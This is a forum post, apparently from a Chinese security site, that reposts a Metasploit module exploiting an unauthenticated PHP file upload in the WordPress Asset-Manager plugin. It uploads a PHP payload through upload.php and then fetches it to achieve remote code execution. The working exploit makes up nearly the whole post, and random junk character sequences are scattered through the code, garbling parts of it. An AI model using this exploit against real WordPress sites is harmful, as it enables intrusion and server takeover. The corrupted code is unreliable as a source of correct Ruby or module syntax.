标题: WordPress Asset-Manager PHP文件上传漏洞 [打印本页] 作者: admin 时间: 2012-12-31 09:22 标题: WordPress Asset-Manager PHP文件上传漏洞 这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。8 i7 @" X/ g {% D6 N# u
$ ^5 x' d6 ], V* }! g
## - o. N$ |# G) ~3 C, b# This file is part of the Metasploit Framework and may be subject to9 Z6 _/ b6 X% S5 B* j
# redistribution and commercial restrictions. Please see the Metasploit \3 R; w/ V) |# Framework web site for more information on licensing and terms of use. ( q& J6 J& D! ~% o5 z# h! S# http://metasploit.com/framework/) H0 B) n0 F7 T" y
##6 m1 E/ e" C$ E+ ^ D( D- n
+ Z4 y* ~8 Y% W4 |; b
require 'msf/core'- t( |2 v+ E" [- M |1 U
require 'msf/core/exploit/php_exe' _0 h; F; q% c6 i2 g, |
. b4 k* _7 v9 ~ B) v# R
class Metasploit3 < Msf::Exploit::Remote , N% B* c, S& M( e( f8 Z Rank = ExcellentRanking2 Y a2 x: Z: K/ u- f: g. Q
& ]9 I) j6 \; m- [ include Msf::Exploit::Remote::HttpClient / E g% ~0 A8 l" L; b include Msf::Exploit:hpEXE 5 Z% [6 O; w- r( c \ 2 V" w( l& U& F- e) B3 E def initialize(info = {})* k9 h6 h- q' f! O e
super(update_info(info, 6 s4 A! L c1 V' v5 b 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability', ( Z+ E" a* P" i2 X; P 'Description' => %q{- l" I# ?2 r3 V' o1 [! C
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress8 i7 }8 ?5 N: d0 [2 u, Z
plugin. By abusing the upload.php file, a malicious user can upload a file to a # Q) f' v. ?0 R! M7 V temp directory without authentication, which results in arbitrary code execution.. J' L' K6 _4 x- [* v+ _1 _) f% e
}, . N" d0 `* \1 x1 W, I 'Author' => - S. ?9 u9 V2 |0 e# W [: v) l( ]9 _. O8 |9 S8 I
'Sammy FORGIT', # initial discovery - U1 V! O3 v* ^9 ^; m: u 'James Fitts <fitts.james[at]gmail.com>' # metasploit module 9 t4 U( v1 z+ H+ ~ Q ],- u, v: d- o Z! V% {/ Y2 j1 V
'License' => MSF_LICENSE," M ~8 k2 ^( H
'References' => * h# }6 I; e+ K [% _3 k. y( r. P0 w/ b
[ 'OSVDB', '82653' ],! K) c; h# N; ^" X6 V
[ 'BID', '53809' ], - S0 h5 \7 Y5 n [ 'EDB', '18993' ],& x: b& G" V8 N* [0 G
[ 'URL', 'http:// www.myhack58.com /' ] / z& K0 N& t+ K& ~ H ],3 v: {* m: k" U; X/ t2 @
'Payload' =>! T+ W1 U% B6 g# z
{7 N2 V1 ]* Y. k: r% `
'BadChars' => "\x00", 1 a" d8 h$ @- }% h% J9 q) W3 M },6 t& h2 D5 S( ~5 W s4 t3 V) Y
'Platform' => 'php',, h2 j' J7 x' z2 f! l; T& d* F
'Arch' => ARCH_PHP,- j0 f5 {# F1 q) p: i& B
'Targets' =>. O6 S: g" z; y' e
[* }- z, P! a2 _. u4 A: w
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],0 e, p2 ~9 z4 h) K9 R' @& h
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]: \& C4 [$ x: N% r8 k7 C
], " [) \ p. ], R0 K) j y% {8 L 'DefaultTarget' => 0, 1 }: K' n" ?5 x 'DisclosureDate' => 'May 26 2012')) 6 c7 R1 A9 A' p" A) f% k, | / @$ H, e1 {' H' p$ L! j/ U, }
register_options( 1 ?5 O* d( O: [% } O8 N: ~ [ S5 T/ N$ ]0 [3 G4 q; B+ d OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])) s& K t2 a; i2 T
], self.class)6 w$ V1 n) t9 n x* x
end1 R. Y) O, j. J0 O+ x5 i
) W4 P3 A2 K; C
def exploit # Q5 @/ N8 J3 c1 {4 H6 E( ^( _ uri = target_uri.path5 S* ~5 j/ e! C0 h" k g' s
uri << '/' if uri[-1,1] != '/' + i6 D- j a9 ~9 o( h: S0 [" d4 a peer = "#{rhost}:#{rport}" ) a+ z, ^# K ?/ r1 @7 } payload_name = "#{rand_text_alpha(5)}.php"4 F6 U9 O ~9 G p0 r( g2 D+ ^) q5 m
php_payload = get_write_exec_payload(:unlink_self=>true)1 r4 O% C0 j' d3 p5 a
9 p: F. ?+ J& }# ?0 H0 i( o( ? data = Rex::MIME::Message.new / E. `# y& v8 l9 L3 z$ I data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") * V1 [+ L5 F2 J; v2 l- T post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')- t: z: x5 F$ b) T0 ^" _( |9 g
# X' W0 ^ C( J9 x/ }" _3 A' r
print_status("#{peer} - Uploading payload #{payload_name}") 4 d6 [/ b, Y; S ?5 ] res = send_request_cgi({" B% r. ?3 Y+ B" D4 A
'method' => 'POST',0 |- s7 a1 w6 @7 M; Q: h K
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", ( r& z$ U* Q# w9 _ 'ctype' => "multipart/form-data; boundary=#{data.bound}",0 H' d: w/ a! M N
'data' => post_data * }" O! l' x7 \. S+ `( `4 ] }) 6 I6 W8 [$ z0 s, L 5 @( s5 i* o! d6 v# X N0 a
if not res or res.code != 200 or res.body !~ /#{payload_name}/ " u1 ]% {# ` T; n. @ fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"), ^9 {# K* ~; a J, ?' F8 b+ C4 b/ W
end' i5 R$ h0 G' n& A4 r& w/ Y
0 |1 M% N! t; ]! m( n0 N- N
print_status("#{peer} - Executing payload #{payload_name}") ( @0 Q' H3 Q) s$ R0 G4 X5 h- n res = send_request_raw({ , D( O5 f! a9 i4 ]$ T, O/ y 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", & |7 h6 c4 A7 e6 ?9 r1 W" \ 'method' => 'GET' . n2 ]- {7 H! D; M! U+ l8 _ })2 }- i8 d' @( \+ {1 L
! Q3 B# U% O0 }# B/ p, N) t if res and res.code != 200; H% g3 T/ D2 O. Q1 G9 T
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")+ i9 J$ ?% }! a* @- H
end , }! v( g! m9 \7 `2 s8 W end( Q( i: c+ B" I( i. V! Z# N2 W# u" y/ c
end ) r" ^) k& @1 A/ P2 [